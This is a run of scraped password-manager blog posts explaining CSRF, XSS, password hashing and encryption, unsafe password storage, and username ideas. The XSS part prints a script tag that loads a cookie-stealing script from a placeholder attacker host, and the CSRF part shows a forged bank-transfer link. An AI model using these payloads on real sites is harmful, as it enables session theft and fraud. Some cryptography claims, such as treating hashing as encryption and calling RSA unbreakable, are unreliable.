Learn what to do if you forgot your Facebook password and how to use TeamPassword to make sure you never forget a password again.

Learn what to do if you forgot your Facebook password and how to use TeamPassword to make sure ...

What To Do If You Forgot Your Old Facebook Login

What To Do If You Forgot Your Old Facebook Login | TeamPassword

In our second article of this cybersecurity series, we will be taking a look to Cross-site request forgery (CSRF). As a password manager, <a href="https://teampassword.com/" rel="follow noopener" target="_blank">TeamPassword</a> takes pride in maintaining your password data secured from attackers, but passwords managers alone cannot keep you safe. It is necessary to be aware of the main attack vectors that hackers may use to exploit cybersecurity vulnerabilities and be mindful of them while browsing the Internet.
<h1>What is cross-site request forgery and how can you defend against it?</h1>
<h2>How does CRSF work?&nbsp;</h2>
Cross-site request forgery, abbreviated as XSRF or CSRF, is an attack that attempts to have users unknowingly execute actions on a web application for which they are currently authenticated. This attack is similar to the <a href="https://teampassword.com/blog/cross-site-scripting-xss-what-it-is-and-how-to-defend-against-it" rel="follow noopener" target="_blank">Cross-site scripting attacks (XSS)</a>, but it exploits a different type of trust: the trust that a web application has in an authenticated user.
Using this type of attack, the hacker could, for example, change the user's email address or password in the vulnerable web application, transfer funds from the user's bank account, or gain control over the user's account.
For the CRSF to work, four conditions need to happen:
<h3>1. Cookie-based session handling.</h3>
By definition, a cookie is a piece of data from a website that is stored within a web browser that the website can retrieve at a later time. Every time we log into a web application, a cookie is sent automatically to our browser so that the web application can verify our login. This way, we will be authenticated by this web application and we can take any actions we want within it.&nbsp;
<h3>2. No unpredictable request parameters.</h3>
The action request (for example, changing the user's email address) does not contain any parameters whose values will be unknown to the attacker.&nbsp;
<h3>3. The user clicks the malicious URL.</h3>
This is usually done by social engineering to trick the victim into clicking the URL that the attacker carefully crafted. Once clicked, the action request will be triggered without the user knowing it.
<h3>4. The user must be logged in to the vulnerable web application.</h3>
If the user is logged in to a vulnerable web application, the attacker can use the CRSF attack to exploit it, so it is always safer to log out before browsing the Internet.

<h2>An Example of a CSRF Attack</h2>
For example, let's say the user has logged in to an online banking web application. The user's browser will now have a session cookie that authenticates it in that web application.
The user decides to browse their favorite forum while being logged into that web application. There, they stumble upon an interesting post with a link, and they click it. The link looked like this, but he didn't notice it at the time:
<pre class="language-undefined"><code>&lt;a href="http://vulnerable-bank.com/transfer_funds?acct=JOSE&amp;amount=3000"&gt;Check it out!&lt;/a&gt;</code></pre>
Without them knowing, clicking the link has triggered a request action that sends the user's funds to the attacker's bank account.
The request might look like this:
<pre class="language-ruby"><code>POST /transfer_funds HTTP/1.1
Host: vulnerable-bank.com
Content-Type: application/x-www-form-urlencoded
Cookie: SessionID=d3yght4s6

acct=JOSE
amount=3000</code></pre>

<h2>How to prevent CSRF attacks?</h2>
<h3>Prevention by End Users</h3>
Although CSRF is fundamentally a problem with the web application, there are two main actions that end users can take to protect themselves:
1. Before clicking on a link, always double-check that it leads you to a trustworthy website and that is not triggering any action you might not want to take.
2. Remember to log off the website before visiting another, or clear the browser's cookies at the end of each session.
<h3>Prevention by Web Developers</h3>
For the software application itself, there are several ways to harden it to prevent this type of attack:
1. Use secure tokens that the attacker would not know to embed in the link. The best way to achieve this is through a CSRF token. A CSRF token is a secure random token that is used to prevent CSRF attacks. An approach that is normally effective is to transmit the token to the client within a hidden field of an HTML form that is submitted using the POST method. The token will then be included as a request parameter when the form is submitted:
<pre class="language-markup"><code>&lt;input type="hidden" name="csrf-token" value="{{ csrf_token }}" /&gt;
</code></pre>
2. Check the referring URL in requests received from end users and only accept requests originating from their own site.

<h2>Conclusion</h2>
Web applications are complex ecosystems, which makes it important for cybersecurity professionals to harden them against any type of attack. As an end user, it is always good to use reliable applications with certified security, especially if the application handles valuable data for you or your organization. At <a href="https://teampassword.com/" rel="follow noopener" target="_blank">TeamPassword</a>, we take security seriously, as we are the custodians of important password data. Join the hundreds of companies that trust us, and rest easy knowing that your data is in the right place.

Cross-site request forgery attempts to have users unknowingly execute actions on a web application which they are currently authenticated.

Cross-site request forgery, abbreviated as XSRF or CSRF, is an attack that attempts to have users unknowingly execute ...

Cross-site request forgery: what it is and defenses

Cross-site request forgery, abbreviated as XSRF or CSRF, is an attack that attempts to have users unknowingly execute actions on a web application which they are currently authenticated. This attack is similar to the Cross-site scripting attacks (XSS) but it exploits a different type of trust: the trust that a web application has in an authenticated user.

Cybersecurity Series: What is cross-site request forgery (CSRF) and how to defend against it

Here at <a href="https://teampassword.com/" rel="follow">TeamPassword</a> we take security very seriously, as we are the custodians of your very important password data. Password managers are one of many important ways to combat the myriad of cybersecurity attacks that are possible whenever we connect to the internet, but password managers alone cannot keep you safe. In this series we will take a look at cybersecurity through the lens of software developers and show how they keep your data safe from criminals. We will also learn how you can play your part in keeping safe by being aware of the ways in which hackers target users.
<h1>What is cross-site scripting (XSS) and how do you defend against it?</h1>
<h2>How does XSS work?&nbsp;</h2>
Cross-site scripting or XSS occurs when an attacker embeds malicious scripting commands on a trusted website. Websites that have a large amount of inputs are especially vulnerable to this kind of attack since this is how an attacker embeds the script into the website.
There are three types of XSS attacks:
&nbsp; 1. Stored/Persistent XSS
&nbsp; 2. Reflected XSS
&nbsp; 3. DOM-based XSS
Let's give each one of these a closer look!
<h3>1. Stored/Persistent XSS</h3>
This type of attack is called persistent since they remain on the server. Usually, attackers will target websites that accept user input that stays stored in their database, such as forums, blogs with enabled comments, CRM / ERP Systems, web-based email servers or clients, or any other type of website where users can share their content.&nbsp;
For example, let's say that I have a forum website where users can write comments about different topics. The attacker might write a comment like this:
<pre class="language-undefined"><code>The weather is fantastic today! &lt;script scr=&rsquo;http://attackerwebsite.com/stealcookiesscript.js&rsquo;&gt;</code></pre>
Once the attacker submits the comment, it will be stored in the website database and will be rendered for any user that opens the forum page. So, the next time a user opens the page, without them doing anything, the script in that comment will run.
Usually, the attacker will want to steal the user's session cookies. This allows the attacker to compromise the user's account, granting them access to the user's personal information and credit card data. Meanwhile, the visitor, who may never have even scrolled down to the comments section, is not aware that the attack took place.
<h3>2. Reflected XSS</h3>
This type of attack occurs when an application allows reflected input.
For example, let's say the attacker finds a website where you can search for "XSS" and the website returns (or reflects) a page with the heading "You searched for XSS", followed by the search results. 
Instead of just searching "XSS" the attacker might want to search for:&nbsp;
<pre class="language-undefined"><code>&lt;script scr=&rsquo;http://attackerwebsite.com/stealcookiesscript.js&rsquo;&gt;</code></pre>
thus, creating a URL like this:
<pre class="language-undefined"><code>https://insecure-website.com/search?term=&lt;script scr=&rsquo;http://attackerwebsite.com/stealcookiesscript.js&rsquo;&gt;</code></pre>
But this by itself doesn't do any harm since it is not reaching any other users. Unlike with Stored/Persistent XSS, for the Reflected XSS to work, the user needs to click a link from the attacker.
So, how does the attacker get a user to click their link? Simple, it is just about embedding it in a link and sending it to other users in a seemingly harmless email or blog comment for example, and wait for someone to click. The question is, why would the user do that? Usually, the attacker will use some sort of social engineering (for example, pretexting or phishing) to manipulate the user into taking that action.
Once this link is clicked, the script will run since the website will reflect the search query (which is the malicious script).
<h3>3. DOM-based XSS</h3>
This type of attack uses the code originating from the website to execute the malicious script.
For example, let's say we have a website with 3 different tabs and it renders different images depending on the tab we click. This whole logic is driven by a script that can be checked in the DOM. So we have these URLs:
<code>https://vulnerable-website.com/frame#1</code> when we click on the first tab. It renders the image <code>&lt;img src="cloud1.jpg"&gt;</code>
<code>https://vulnerable-website.com/frame#2</code> when we click on the second tab. It renders the image <code>&lt;img src="cloud2.jpg"&gt;</code>
<code>https://vulnerable-website.com/frame#3</code> when we click on the third tab. It renders the image <code>&lt;img src="cloud3.jpg"&gt;</code>
By making use of the logic inherent to the website, the attacker can do:
<pre class="language-undefined"><code>https://vulnerable-website.com/frame#1' oneerror='alert()'</code></pre>
This causes an alert to pop up when using the link, and the attacker has just worked around the DOM of the website.
And just like in Reflected XSS, the attacker can embed the link and send it to other users in hopes they will click and the malicious code will run on their end.

<h2>How to prevent XSS attacks?</h2>
Simply enough there are two things we can do to prevent these kinds of attacks:
<h3>1. Input validation.</h3>
The best solution is to determine the type of input that the application and create an input validation that matches the input from the user to the type of input we want to allow. If we are expecting the user to input some numbers, we shouldn't allow letters in the input. We can do this in the front-end and the back-end (or in both at the same time), but if we had to choose, it is preferable to do it in the back-end since the attacker won't be able to modify the code of the application itself by normal means.
<h3>2. Be careful of the links we click.</h3>
Think twice and check URLs before clicking. This is an easy prevention on the user side. To check if a link is malicious, hover on top of the link and the browser will show the URL where this link will direct you. If the URL looks suspicious, double-check with other people in our organization or just write the website we want to go to in the browser.

<h2>Conclusion</h2>
Nowadays, cybersecurity is becoming more and more trendy. That shows just how insecure the Internet is becoming by the day. While there is just so much that we can do as end users, it is important to keep in mind the dangers lying ahead and be mindful of our behaviors online. Aside from that, it is always a good idea to rely on security oriented companies. At <a href="https://teampassword.com/" rel="follow noopener" target="_blank">TeamPassword</a>, we work every day so that both individual users and organizations can store and share their password data in a safe way. Join the hundreds of companies that trust us, and rest easy knowing that your data is in the right place.

XSS vulnerabilities can be hidden in plain sight. Knowing what they are and how to defend against them can keep you and your business safe.

Cross-site scripting or XSS place malicious scripts on trusted websites, creating security vulnerabilities where the are least expected. ...

Cross-site scripting (XSS): what it is and defenses

Cross-site scripting or XSS place malicious scripts on trusted websites, creating security vulnerabilities where the are least expected. How does XSS work? And how can you prevent it? This article will answer both questions to help protect you, your team, and your business.

Cybersecurity Series: What is cross-site scripting (XSS) and how do you defend against it

Password encryption is essential to store user credentials stored in a database securely. Without password encryption, anyone accessing a user database on a company's servers (including hackers) could easily view any stored passwords.
Even a strong 32-character password created using a <a href="https://teampassword.com/password-generator">secure password generator</a> is useless without password-encryption! If someone can read your password on a server, they can use it simply by copy/pasting it&mdash;no matter how long or complicated the password might be!
Encryption scrambles your password before saving it on the server. So, if someone hacks the server, instead of finding password123, they find a random series of letters and numbers.
In this article, we're going to explore the world of password encryption, why <a href="https://teampassword.com/blog/tips-and-tricks-to-create-a-strong-password">strong passwords matter</a>, and how you can practice better password management!
<a href="https://app.teampassword.com/dashboard#signup/testimonial">TeamPassword</a> is the password management solution for small businesses! Create, store, and share login credentials safely with employees, contractors, and clients. <a href="https://app.teampassword.com/dashboard#signup/testimonial">Sign up for a 14-day free trial</a> today!
&rlm;&rlm;&lrm; &lrm;[Table of Contents]
<ul>
<li><a href="#understandingpasswordencryption" rel="follow">Understanding Password Encryption</a></li>
<li><a href="#howdoespasswordencryptionwork" rel="follow">How Does Password Encryption Work?</a></li>
<li><a href="#5commonpasswordencryptionmethods" rel="follow">5 Common Password Encryption Methods</a></li>
<li><a href="#whystrongpasswordsmatter" rel="follow">Why Strong Passwords Matter</a></li>
</ul>
<h2 id="understandingpasswordencryption">Understanding Password Encryption</h2>
To explain password encryption effectively, we must first grasp the language. Several terms might be unfamiliar, so here is a quick intro to password encryption terminology.
<ul>
<li style="font-weight: 400;" aria-level="1">Key: Used to lock and unlock passwords using a random string of bits. You get private and public keys that crypt and decrypt data differently, but we won't get too deep in the weeds with keys!</li>
<li style="font-weight: 400;" aria-level="1">Bits: A logical state with one of two possible values, including 1/0, true/false, yes/no, or on/off as typical examples.</li>
<li style="font-weight: 400;" aria-level="1">Block (block cipher): A deterministic algorithm operating on fixed-length groups of bits, called blocks.</li>
<li style="font-weight: 400;" aria-level="1">Hash function: The algorithm that uses the key to create password encryption and decryption. A hash function is essentially a piece of code that runs every time someone saves a password or logs into an application.&nbsp;</li>
<li style="font-weight: 400;" aria-level="1">Hash: A random series of numbers and letters representing your password. The hash function uses your hash instead of the raw password for authentication.</li>
<li style="font-weight: 400;" aria-level="1">Salt: Additional letters and numbers appended to the hash</li>
</ul>
&rlm;&rlm;&lrm; &lrm;
<h2 id="howdoespasswordencryptionwork">How Does Password Encryption Work?</h2>
When you save a new password, a hash function creates a hash version and saves that on the server.&nbsp;
Every time you log in using your password, the hash function recreates the hash to see if it matches what's stored. If the hashes match, the algorithm passes the authentication and logs you in.&nbsp;
For example:
<ul>
<li style="font-weight: 400;" aria-level="1">Original password: Pa$$w0rd123</li>
<li style="font-weight: 400;" aria-level="1">Hashed password: 6AF1CE202340​FE71BDB914AD5357​E33A6982A63B</li>
</ul>
While this might seem secure, simple hashed passwords aren't hack-proof.
The hash function only creates a unique hash for each password, not each user. So, if multiple users have the password, Pa$$w0rd123, the hash will be exactly the same.
To overcome this encryption vulnerability, engineers salt passwords so each hash is unique, even if the passwords are identical.
<h3>How Salt Works</h3>
A salt appends a unique value of 8 bytes (16 characters) to the password before the hash function creates a hash. This way, even identical passwords are unique before the hash function.
For example:
<ul>
<li style="font-weight: 400;" aria-level="1">Two identical passwords: Pa$$w0rd123</li>
<li style="font-weight: 400;" aria-level="1">Salt value one: E1F53135E559C253</li>
<li style="font-weight: 400;" aria-level="1">Salt value two: 84B03D034B409D4E</li>
<li style="font-weight: 400;" aria-level="1">Password one before hash: Pa$$w0rd123E1F53135E559C253</li>
<li style="font-weight: 400;" aria-level="1">Password two before hash: Pa$$w0rd12384B03D034B409D4E</li>
<li style="font-weight: 400;" aria-level="1">Password one hashed value (SHA256): 72AE25495A7981​C40622D49F9A52E4F15​65C90F048F59027BD9​C8C8900D5C3D8</li>
<li style="font-weight: 400;" aria-level="1">Password two hashed value (SHA256): B4B6603ABC670​967E99C7E7F1389E40​CD16E78AD38EB1468E​C2AA1E62B8BED3A</li>
</ul>
&rlm;&rlm;&lrm; &lrm;
<h2 id="5commonpasswordencryptionmethods">5 Common Password Encryption Methods</h2>
<h3>1. Data Encryption Standard (DES)</h3>
While applications no longer use Data Encryption Standard (DES), it's important to mention this password encryption method because of its history and influence on more secure modern standards.
IBM developed DES as a 56-bit encryption technology in the early 1970s. The NSA adopted and improved DES before it was approved worldwide as the encryption standard.
However, since the late 70s, hackers have been able to break DES encrypted passwords. In 1999, ethical hackers managed to break a DES key in under 24 hours.&nbsp;
To make DES more secure, engineers created Triple DES and later Advanced Encryption Standard (AES), which we still use today.
<h3>2. Triple DES</h3>
Triple DES uses three 56-bit keys (blocks) to create 168-bit encryption (some security experts argue that Triple DES is only 112 bits strong). Although Triple-DES is slowly being phased out, many financial institutions still use it to encrypt ATM PINs.
<h3>3. Advanced Encryption Standard (AES)</h3>
AES is the new encryption standard&mdash;trusted by the United States Government and many other prominent organizations globally. At 128 bits, AES is sufficiently secure, but most organizations prefer heavy-duty 256-bit encryption.
At <a href="https://teampassword.com/security">TeamPassword</a>, we use 256-bit encryption to store passwords, ensuring the highest levels of security for our clients. We're also a <a href="https://teampassword.com/security">secure hosting provider</a> holding multiple security accreditations.
Hackers can only break an AES encrypted password through a brute-force attack&mdash;trying password combinations to find the right one.
To counter brute-force attacks, applications will lock an account after a certain number of attempts or use tools like Google's reCAPTURE.
<h3>4. Blowfish</h3>
American cryptographer, Bruce Schneier, designed Blowfish in 1993 as an antidote to the weak DES encryption. Blowfish uses a 64-bit block and variable key length of 32 to 448 bits.
Although Blowfish is more robust than its DES predecessor, the 64-bit block is still vulnerable to attacks, most commonly birthday attacks&mdash;a cryptographic attack that exploits the mathematics behind the algorithm.
To solve Blowfish vulnerabilities, engineers created Twofish in 1998 (128-bit blocks with 256-bit keys) and Threefish in 2008 (256, 516, 1024-bit blocks with 256, 516, 1024-bit keys).
<h3>5. Rivest-Shamir-Adleman (RSA)</h3>
RSA is one of the oldest and widely used to transfer data securely. The encryption works with two keys, two large prime numbers, and an additional auxiliary value.
Due to the complicated encrypting and decrypting process, there is no known method for breaking RSA encryption.&nbsp;
Although widely used for transferring data, RSA is slow and not suitable for password encryption.
&rlm;&rlm;&lrm; &lrm;
<h2 id="whystrongpasswordsmatter">Why Strong Passwords Matter</h2>
Password encryption can only prevent criminals from viewing saved credentials stored on a server&mdash;but cannot prevent hackers from guessing weak/commonly used passwords. If you <a href="https://teampassword.com/blog/colonial-pipeline-ransomware-attack-dont-reuse-passwords">reuse the same password for multiple accounts</a>, this also puts you at risk!
Encryption is most effective when users create robust, unique passwords for every account. For example, a random 32-character password with letters, numbers, and special characters hashed and salted is near impossible to guess or decode, even using a computer!
In another scenario, let's assume you have a strong 32-character password, but you use it for every account. If hackers manage to steal that password, they have access to every account using the same credentials! Your strong password is effectively useless.
<h3>Improving Your Password Management</h3>
Now that you understand password encryption and the associated vulnerabilities, you can see why strong passwords are essential.
Effective password management is crucial to protect yourself against cyberattacks or in the highly likely event of a data breach where hackers steal your credentials.
Criminals are after the low-hanging fruit&mdash;people who use weak passwords!
5 tips for creating stronger passwords:
<ol>
<li style="font-weight: 400;" aria-level="1">Create strong passwords for every account. The easiest way to do this is using a password generator. <a href="https://teampassword.com/password-generator">TeamPassword has a free password generator</a> anyone can use to create passwords from 12-32 characters using uppercase, lowercase, numbers, and special characters. We recommend creating passwords as long as the application will allow.</li>
<li style="font-weight: 400;" aria-level="1">Never create passwords shorter than eight characters, with 12 being our recommended minimum.&nbsp;</li>
<li style="font-weight: 400;" aria-level="1">Never reuse the same password for multiple accounts.</li>
<li style="font-weight: 400;" aria-level="1">Never create passwords with your name, family member's names, or pet's names. With social media, this information is freely available. Criminals can add those names to algorithms for brute-force attacks.</li>
<li style="font-weight: 400;" aria-level="1">Don't store passwords in digital notepads or spreadsheets. We recommend using a <a href="https://app.teampassword.com/dashboard#signup/testimonial">password manager like TeamPassword</a> to create and store your credentials.</li>
</ol>
&rlm;&rlm;&lrm; &lrm;
<h2>Why You Need a Password Manager like TeamPassword</h2>
We have so many accounts these days; it's almost impossible to create unique, memorable, secure passwords for each one. A password manager solves this problem.
Instead of remembering the credentials for every account, you only need to memorize the one to log into your password manager.&nbsp;
TeamPassword keeps all of your credentials safely stored and encrypted, so you never have to memorize a password again. Instead of entering your credentials, you use one of TeamPassword's browser extensions (Chrome, Firefox, and Safari) to log into accounts.
<h3>Built for Teams</h3>
TeamPassword's best feature is its ability to share credentials with team members securely. Instead of sharing passwords, you provide access through TeamPassword.&nbsp;
Employees <a href="https://app.teampassword.com/dashboard#signup/testimonial">use TeamPassword</a> to log in, meaning you never share raw passwords&mdash;no more worrying about unauthorized access or sharing.
You can create groups in TeamPassword to share access with employees, clients, contractors, and freelancers. When someone no longer needs access, remove them from the group with a single click. No need to change passwords every time someone leaves a project!
<h3>Built-In Password Generator</h3>
TeamPassword features a built-in secure password manager so you can create robust passwords for every account. TeamPassword also ensures you never reuse the same credentials so that you won't fall victim to credential stuffing attacks!
With a built-in password generator, you can change passwords regularly, and TeamPassword will update the new credentials for all users!
<h3>Monitor Login Activity</h3>
TeamPassword's activity log keeps track of every action across all of your accounts&mdash;logins, password changes, new team members, sharing access, and more.
You can also set up email notifications for all TeamPassword actions so that you can react fast to any suspicious activity.
<h3>Get Your Free TeamPassword Trial</h3>
Password encryption is not enough to protect your business from password vulnerabilities! You need a robust password manager like TeamPassword to create, store, and share credentials securely.
&rlm;&rlm;&lrm; &lrm;
<a href="https://app.teampassword.com/dashboard#signup/testimonial">Sign up for a 14-day free trial</a> and let TeamPassword secure your company's digital assets.

Password encryption is the number one component of password security. TeamPassword encrypts passwords with state-of-the-art technology to keep passwords safe.

Password encryption is the number one component of password security. TeamPassword encrypts passwords with state-of-the-art technology to keep ...

What is password encryption and how much is enough?

What is password encryption and how does it work?

In an increasingly digital world, we&rsquo;re switching more and more of our daily lives over to the Internet. While this brave new world is exciting and convenient, it&rsquo;s not without its problems.&nbsp;
The issue of unsafe passwords has been around for a while. But have you ever thought about where and how to store them?
Most of us have several passwords, and we&rsquo;re encouraged to never duplicate them. Some people simply write them all down on a piece of paper &mdash; which is fraught with danger. But others store their passwords electronically.
As you&rsquo;re about to find out, not all electronic systems of password storage are <a href="https://www.teampassword.com/blog/10-things-you-need-to-do-to-keep-passwords-safe" target="_blank" rel="noopener">safe</a>. Here are five of the most dangerous ways to store your passwords.&nbsp;
But before we begin:
Avoid bad idea passwords and dangerous storage methods with TeamPassword. This advanced <a href="https://www.teampassword.com/blog/why-you-need-a-password-manager" target="_blank" rel="noopener">password manager</a> features a selection of security features, including password encryption and two-step verification. Sign up for a <a href="https://app.teampassword.com/dashboard#signup/testimonial" rel="follow">free trial</a> today.&nbsp;

<h2>1. Email</h2>
Have you ever emailed yourself a password to ensure you&rsquo;re never without it? Great idea, right? Actually, emailing yourself your passwords is a really bad idea, and here&rsquo;s why:
<ul>
<li>Emails are usually sent in plain text. Without encryption, your passwords are susceptible if your email account is ever compromised.&nbsp;</li>
<li>Unsafe passwords sent via email often pass through several systems and servers. There&rsquo;ll also be a copy in your sent folder. If someone else can access your email account, your passwords become vulnerable.&nbsp;</li>
<li>Some email platforms store data locally on a drive. If someone steals your computer, phone, or tablet, your passwords become vulnerable.</li>
</ul>
A really bad idea for passwords is to send them via email &mdash; either to yourself or someone else. <a href="https://www.teampassword.com/blog/have-i-been-hacked-how-to-know-for-sure" target="_blank" rel="noopener">Hackers </a>and scammers are more resourceful than ever, and they can often steal your information before you realize you&rsquo;ve been compromised.&nbsp;
It&rsquo;s tempting to send a quick email to yourself containing unsafe passwords when you sign up for new online services. For the sake of an extra minute or two, don&rsquo;t give fraudsters easy access to your accounts. Use an encrypted email vault to safeguard all your passwords.&nbsp;
<h2>2. Online Documents</h2>
A lot of people like the convenience of saving crucial information using online document systems such as Google Docs. But this is a bad idea for passwords, as these systems are designed for text &mdash; not sensitive data.
Yes, a password might protect your online document manager from unauthorized access. But what happens if that password is compromised? Many document software platforms don&rsquo;t offer encryption, two-step verification, or even the most basic security measures.&nbsp;
If you use online documents regularly, you&rsquo;re probably accessing your account on a regular basis &mdash; across several devices. What happens if you step away for a moment to buy a coffee, speak to a friend, or use the bathroom?
A criminal can access an unattended online document platform in seconds. And if this happens, it doesn't take a lot of effort to steal your unsafe passwords.&nbsp;
<h2>3. Instant Messaging Service</h2>
Instant messaging services provide us with a convenient way of staying in touch with friends and family. WhatsApp, Facebook Messenger, and Snapchat were designed for private online conversations &mdash; not for storing passwords.
People who store their passwords on these apps do so because they believe they&rsquo;re fully encrypted. While that&rsquo;s often the case, it&rsquo;s important to remember that instant messaging services are often left open and operating in the background.
Imagine someone picks up your phone while you&rsquo;re not paying attention. If you left your device unlocked, that person would be able to access your password in seconds.
It&rsquo;s always a bad idea when passwords are stored on instant messaging services. By nature, these apps are designed to operate in the background &mdash; alerting you when someone sends a message. And because they&rsquo;re open, anyone with the device in their hand might be able to steal your unprotected passwords.&nbsp;
Don&rsquo;t fall into the trap of utilizing bad ideas for password storage. Sign up for a <a href="https://app.teampassword.com/dashboard#signup/testimonial" target="_blank" rel="noopener">free trial</a> with TeamPassword, and give your unsafe passwords the protection they require.
<h2>4. Online Note-taker</h2>
Developers design online note-takers for everyday lists and reminders. While they&rsquo;re great for creating to-do and shopping lists, they&rsquo;re not so good for storing unsafe passwords.&nbsp;
An app such as Apple Notes is easy to use, accessible, and convenient. But it doesn&rsquo;t offer two-step authentication, encryption, or any sophisticated form of security.&nbsp;
If your computer or mobile device is unlocked, your saved passwords are vulnerable. In many cases, a criminal would simply need to open the app to gain access to your sensitive information.&nbsp;
OK, you might be extra vigilant when it comes to keeping your phone or computer locked. But hackers are resourceful, and they&rsquo;re very good at discovering unsafe passwords. Once they access your phone, any passwords stored in your note-taking app become vulnerable.&nbsp;
<h2>5. On a Non-Password-Protected Device</h2>
Of all the bad ideas for passwords, storing them on non-password-protected devices is about the worst. You might think that your tablet or laptop never leaves your side. But if your device is ever stolen, you&rsquo;ve given the criminals the easiest possible opportunity to access your saved passwords.&nbsp;
If you&rsquo;re determined to store passwords on a physical device &mdash; which is never a good idea &mdash; make sure the device password is a complex combination of letters, numbers, and symbols. And it should contain at least 12 characters.&nbsp;
<h2>Use TeamPassword for Extra Protection</h2>
Remembering and safely storing a dozen or more passwords isn&rsquo;t a simple task. By locking away all your passwords in a digital vault, you get maximum protection and easy access.&nbsp;
TeamPassword offers a range of <a href="https://www.teampassword.com/security" target="_blank" rel="noopener">security features</a> &mdash; designed to keep your passwords safe. Offering two-step authentication and encryption, this powerful protection system solves the problem of unsafe passwords with ease. Sign up for a <a href="https://app.teampassword.com/dashboard#signup/testimonial" target="_blank" rel="noopener">free trial</a> to see these exciting features for yourself.&nbsp;

Storing passwords inappropriately can leave you open to fraud and theft. Avoid these storage methods at all costs. | TeamPassword Blog

Storing passwords inappropriately can leave you open to fraud and theft. Avoid these storage methods at all costs. ...

Top 5 Dangerous Ways to Store Your Passwords

Usernames are essential for security and anonymity online. But some people develop username ideas to stand out or align with a brand. Usernames can also help gain followers or build a social media following.
With so many possibilities, coming up with username ideas can be challenging! Luckily, there are plenty of tools and methods to create unique usernames.
Whether you're aiming for fame or privacy, we have username ideas to help you create unique usernames easily!
Using unique credentials (including passwords and usernames) can mitigate many cybersecurity vulnerabilities. When paired with a <a href="https://app.teampassword.com/dashboard#signup/testimonial">password manager like TeamPassword</a>, strong usernames and passwords can protect you against attacks. Sign up for a 14-day free TeamPassword trial today!
[Table of Contents]
<ul>
<li><a href="#whyyouneedtouseuniqueusernames" rel="follow">Why You Need to Use Unique Usernames</a></li>
<li><a href="#howcanyougetuniqueusernameideas" rel="follow">How Can You Get Unique Username Ideas?</a></li>
<li><a href="#howtomakeagoodusername" rel="follow">How to Make a Good Username</a></li>
<li><a href="#howyoucansecureyouraccountsusingapasswordmanager" rel="follow">How You Can Secure Your Accounts Using a Password Manager</a></li>
</ul>
<h2 id="whyyouneedtouseuniqueusernames">Why You Need to Use Unique Usernames</h2>
There are several reasons people want unique usernames ideas:
<ul>
<li style="font-weight: 400;" aria-level="1">Security</li>
<li style="font-weight: 400;" aria-level="1">Anonymity</li>
<li style="font-weight: 400;" aria-level="1">Popularity</li>
<li style="font-weight: 400;" aria-level="1">Humor</li>
<li style="font-weight: 400;" aria-level="1">Business name ideas</li>
</ul>
<h3>Unique Usernames for Security</h3>
Many people don't know about the importance of using unique or secure usernames for online security. Reusing usernames can be just as troublesome as <a href="https://teampassword.com/blog/colonial-pipeline-ransomware-attack-dont-reuse-passwords">reusing passwords</a>.
If criminals steal your credentials from a <a href="https://teampassword.com/blog/category/data-breaches">data breach</a>, they can use your username to figure out where else you have accounts and deploy spear-phishing attacks using fake correspondence to steal your credentials.
For example, hackers will send you a "password reset" from Instagram because they "suspect suspicious activity!" If you use unique usernames for every account, the attackers won't find your Instagram profile!
Don't think that you won't fall for these ploys! Many individuals with regular cybersecurity training fall victim to phishing attacks. Cybercriminals know that if they keep trying, they'll catch you when you're distracted or in a hurry.&nbsp;
In effect, unique usernames act as a second password, preventing anyone from finding your accounts with a single username.
What are some username mistakes that could put you at risk?
Don't use easy-to-guess information that could be found elsewhere on the web or sensitive info such as your social security or phone number.&nbsp;
<h4>What should not be included in a username so that it's secure?</h4>
<ol>
<li>
Personal Information: Avoid using any personal information such as your real name, date of birth, or address as part of your username.
</li>
<li>
Passwords or PINs: Do not use your passwords, PINs or other sensitive information as your username.
</li>
<li>
TMI: Do not include too much information that could potentially give away your identity, such as your phone number or email address.
</li>
<li>
Phishing Traps: Do not include any words or phrases that could be used in phishing attempts, such as "password", "admin", "login", etc.
</li>
</ol>
<h3></h3>
<h3>Unique Usernames for Anonymity</h3>
Aligned with security is anonymity. Maintaining anonymity online can protect you from cyberattacks and prevent work colleagues, clients, and other companies or individuals from finding you online.
Many people want to separate their professional profiles from their personal ones while maintaining an online presence. Using unique usernames can hide the profiles you prefer to keep private.
&nbsp; &nbsp;
<h3>Unique Usernames for Fame, Popularity, Attention</h3>
A good Instagram username can help you stand out and boost your online presence. If your username is unique or obscure, it could lead to more profile clicks and followers.
A good example is French Connection UK or @FCUK. At first glance, the username looks like an expletive, drawing people's attention to the brand.
People often use made-up words, obscure combinations, and other naming conventions to grab attention online.
&nbsp; &nbsp;
<h3>Unique Usernames for Humor</h3>
Humor is another reason people often want unique username ideas. For example, @PickledElephantTusk is sure to get people's attention and perhaps a chuckle at the ridiculousness.
Funny usernames are great for social media profiles, but you might want to avoid these if you're trying to aim for security or anonymity!
&nbsp; &nbsp;
<h3>Business Name Ideas</h3>
Most startups want a unique brand name, including URL and social media usernames. Startups can ensure that every digital touchpoint is unique to their brand by choosing an available unique username first.
While using the same username is necessary for branding on social media channels, companies should always choose different, unidentifiable usernames for non-public accounts&mdash;email marketing apps, keyword research tools, productivity tools, accounting apps, etc.
&nbsp; &nbsp;
<h2 id="howcanyougetuniqueusernameideas">How Can You Get Unique Username Ideas?</h2>
There are many places you go for unique username ideas. Here are a few of our best sources for inspiration:
<ul>
<li style="font-weight: 400;" aria-level="1">Pinterest</li>
<li style="font-weight: 400;" aria-level="1">Username generators</li>
<li style="font-weight: 400;" aria-level="1">Google Search - type a word and look through the autocompletes. This is also an excellent way to find trending usernames</li>
<li style="font-weight: 400;" aria-level="1">Instagram hashtags</li>
</ul>
&nbsp; &nbsp;
<h2 id="howtomakeagoodusername">How to Make a Good Username</h2>
If you're looking for inspiration, here are three methods for coming up with great username ideas. We've included processes for creativity, speed, and security.
<h3>Creating Your Own Unique Usernames</h3>
The best way to create unique username ideas is by combining two or three mismatched words with a number. First, come up with two or three categories, and then pick a word from each.
For example, let&rsquo;s choose the two categories fish, and US State:
<ul>
<li style="font-weight: 400;" aria-level="1">US State: Idaho</li>
<li style="font-weight: 400;" aria-level="1">Fish: Pufferfish</li>
<li style="font-weight: 400;" aria-level="1">Number: 13</li>
<li style="font-weight: 400;" aria-level="1">@IdahoPufferfish13</li>
</ul>
You can come up with funny and cute usernames using this method. It's also a fantastic creative exercise some people might find entertaining.
&nbsp; &nbsp;
<h3>Use a Username Generator</h3>
If you don't want to waste time coming up with usernames yourself, a username generator is a fantastic option to create unique usernames fast!
Some username generator tools will let you add a prefix, suffix, or number and randomize the rest. This method works well if you're trying to find unique username ideas for a specific industry, like fitness, health, tech, etc.
Some username generators even provide a social media search function to see if your unique username is available on the relevant platforms&mdash;providing you speed and efficiency!
